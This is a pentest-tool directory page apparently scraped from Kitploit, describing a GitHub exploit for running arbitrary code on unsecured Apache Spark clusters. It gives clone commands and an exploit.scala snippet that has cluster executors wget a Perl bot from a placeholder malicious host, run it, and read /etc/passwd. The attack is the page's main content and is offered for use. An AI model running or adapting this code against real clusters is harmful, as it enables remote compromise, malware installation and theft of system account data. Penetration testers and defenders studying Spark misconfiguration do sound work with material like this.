Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spark-exploit — Arbitary Code Execution in Unsecured Apache Spark Cluster | Kitploit
Tools/GitHubGitHub/akhld/spark-exploit
Cloud Infrastructure SecurityExploitationPenetration TestingCloud SecurityMisconfiguration
GitHubakhld/spark-exploit

spark-exploit

Arbitary Code Execution in Unsecured Apache Spark Cluster

View Repository
847 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Arbitary Code Execution in Unsecured Apache Spark Cluster

How to Exploit

Follow the below steps:

root@kitploit:~
* $ git clone https://github.com/akhld/spark-exploit.git
* $ cd spark-exploit

Remote Code Execution

Open exploit.scala, Replace the following code with whatever you want to get executed!

root@kitploit:~
val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
  	     val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })

PoC

https://hacked.work/blog/arbitary-code-execution-in-unsecured-apache-spark-cluster/

Download Tool